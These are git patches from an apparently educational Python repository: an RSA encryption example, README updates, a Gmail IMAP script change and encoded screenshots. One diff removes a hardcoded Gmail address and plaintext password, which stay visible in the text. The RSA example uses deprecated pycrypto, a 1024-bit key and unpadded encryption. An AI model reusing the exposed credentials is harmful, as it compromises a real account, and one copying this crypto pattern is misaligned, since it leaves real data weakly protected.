2. [Numpy Data Types](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P02_NumpyDataTypes.py) 3. [Numpy Array Attributes](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P03_NumpyAttributes.py) 4. [Generate Numpy array from various numerical ranges](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P04_ArrayFromNumericalRange.py) +5. [Numpy Array Manipulation operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P05_NumpyArrayManipulation.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 2870c2152ba363d718306109b6f29a513310fc81 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Jul 2017 06:52:55 +0530 Subject: [PATCH 022/101] Simple Python encryption using RSA algorithm --- Programs/P73_SimplePythonExcryption.py | 27 ++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 Programs/P73_SimplePythonExcryption.py diff --git a/Programs/P73_SimplePythonExcryption.py b/Programs/P73_SimplePythonExcryption.py new file mode 100644 index 00000000..f898416a --- /dev/null +++ b/Programs/P73_SimplePythonExcryption.py @@ -0,0 +1,27 @@ +# Author: OMKAR PATHAK + +# This program illustrates a simple Python encryption example using the RSA Algotrithm + +# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric +# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). + +# For installation: sudo pip3 install pycrypto + +from Crypto.PublicKey import RSA +from Crypto import Random + +randomGenerator = Random.new().read +# Generating a private key and a public key +# key stores both the keys +key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits +print(key) # Prints private key +print(key.publickey()) # Prints public key + +# Encryption using Public Key +publicKey = key.publickey() +encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) +print(encryptedData) + +# Decryption using Private Key +decryptedData = key.decrypt(encryptedData) +print(decryptedData) From 16fdaeb16adfb17bfb9484c23b0be3443db18720 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Jul 2017 06:54:12 +0530 Subject: [PATCH 023/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index e3242b72..6bdcede5 100644 --- a/README.md +++ b/README.md @@ -148,3 +148,5 @@ A simple progress bar helpful for showing the progress of a download A Python module for writing test cases * [Python Lambda Function](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P72_PythonLambda.py) An example of Python Lambda function +* [Python Encryption example using RSA Algorithm](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P73_SimplePythonEncryption.py) +Encryption/ Decryption using RSA Algorithm From 82ff7dcc97f5280b8ac82dc525820a25fa05e8ed Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 7 Jul 2017 07:07:05 +0530 Subject: [PATCH 024/101] Python encryption using RSA algorithm --- ...73_SimplePythonExcryption.py => P73_SimplePythonEncryption.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Programs/{P73_SimplePythonExcryption.py => P73_SimplePythonEncryption.py} (100%) diff --git a/Programs/P73_SimplePythonExcryption.py b/Programs/P73_SimplePythonEncryption.py similarity index 100% rename from Programs/P73_SimplePythonExcryption.py rename to Programs/P73_SimplePythonEncryption.py From dcf3e22f48a26bc146b62f21161904c3068dc85b Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 11 Jul 2017 07:19:37 +0530 Subject: [PATCH 025/101] Development: Script to login to gmail using Python --- Scripts/P11_CheckEmail.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Scripts/P11_CheckEmail.py b/Scripts/P11_CheckEmail.py index e71ab6ba..c7de4b7b 100644 --- a/Scripts/P11_CheckEmail.py +++ b/Scripts/P11_CheckEmail.py @@ -6,11 +6,11 @@ import email, getpass, imaplib, os detach_dir = '.' # directory where to save attachments (default: current) # user = input("Enter your Gmail Username:") -# pwd = getpass.getpass("Enter your Gmail Password: ") +pwd = getpass.getpass("Enter your Gmail Password: ") # connecting to the gmail imap server mail = imaplib.IMAP4_SSL("imap.gmail.com") -mail.login('omkarpathak.comp@mmcoe.edu.in', '8149omkar@') +mail.login('omkarpathak.comp@mmcoe.edu.in', pwd) mail.list() mail.select('INBOX') # Specify from where to retrieve the email From 557960b887d94e107cb3e2dbd2414979476a1e75 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 12 Jul 2017 06:36:59 +0530 Subject: [PATCH 026/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 6bdcede5..79ba370f 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,7 @@ Pune, Maharashtra, India.
4. [Detect Cycle in Directed Graph](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P03_DetectCycleInDirectedGraph.py) 5. [Detect Cycle in Undirected Graph](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P04_DetectCycleInUndirectedGraph.py) 6. [Topological Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P68_TopologicalSort.py) +7. [Prim's Algorithm](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P06_Prim's-Algorithm.py) ## Scripts @@ -83,6 +84,7 @@ Pune, Maharashtra, India.
8. [Counting Number of Words](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P08_CountNumberOfWords.py) 9. [Birthday Reminder](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P09_ReminderApplication.py) 10. [Script to download tutorial from tutorials point](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P10_SciptToDownloadPDF.py) +11. [Script to check email in your terminal](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P11_CheckEmail.py) ## Python Concepts From fa7366fe5f1ecbf69d072a14022974803bfe9253 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 12 Jul 2017 06:37:07 +0530 Subject: [PATCH 027/101] Updated README --- Scripts/README.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 Scripts/README.md diff --git a/Scripts/README.md b/Scripts/README.md new file mode 100644 index 00000000..a017ab38 --- /dev/null +++ b/Scripts/README.md @@ -0,0 +1,12 @@ +# Some results for Scripts + +### File Organizer: Manage your downloads folder with ease +* [File Organizer](P05_FileOrganizer) - Results before running the script (*messy downloads folder*) +![File Organizer Before](Results/FolderManipulationBefore.png "Before") + +* [File Organizer](P05_FileOrganizer) - Results after running the script (*beautiful downloads folder*) +![File Organizer After](Results/FolderManipulationAfter.png "After") + +### Birthday Reminder: Get notified for the birthdays of you loved ones! +1. [Birthday Reminder](P09_ReminderApplication.py) +![Birthday Reminder](Results/BirthdayReminder.png "Birthdays") From f5eaa76fe9ce8364b08badee453724a7b18ac370 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 12 Jul 2017 06:37:25 +0530 Subject: [PATCH 028/101] Results --- Scripts/Results/BirthdayReminder.png | Bin 0 -> 7196 bytes Scripts/Results/FolderManipulationAfter.png | Bin 0 -> 54640 bytes Scripts/Results/FolderManipulationBefore.png | Bin 0 -> 207901 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 Scripts/Results/BirthdayReminder.png create mode 100644 Scripts/Results/FolderManipulationAfter.png create mode 100644 Scripts/Results/FolderManipulationBefore.png diff --git a/Scripts/Results/BirthdayReminder.png b/Scripts/Results/BirthdayReminder.png new file mode 100644 index 0000000000000000000000000000000000000000..b09c2e0d5007e61cbd759cc9bfe1275ad65cc7c5 GIT binary patch literal 7196 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 literal 0 HcmV?d00001 diff --git a/Scripts/Results/FolderManipulationAfter.png b/Scripts/Results/FolderManipulationAfter.png new file mode 100644 index 0000000000000000000000000000000000000000..c1d9747f8e86e6ba66eaeea41345bf211509e8e0 GIT binary patch literal 54640 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 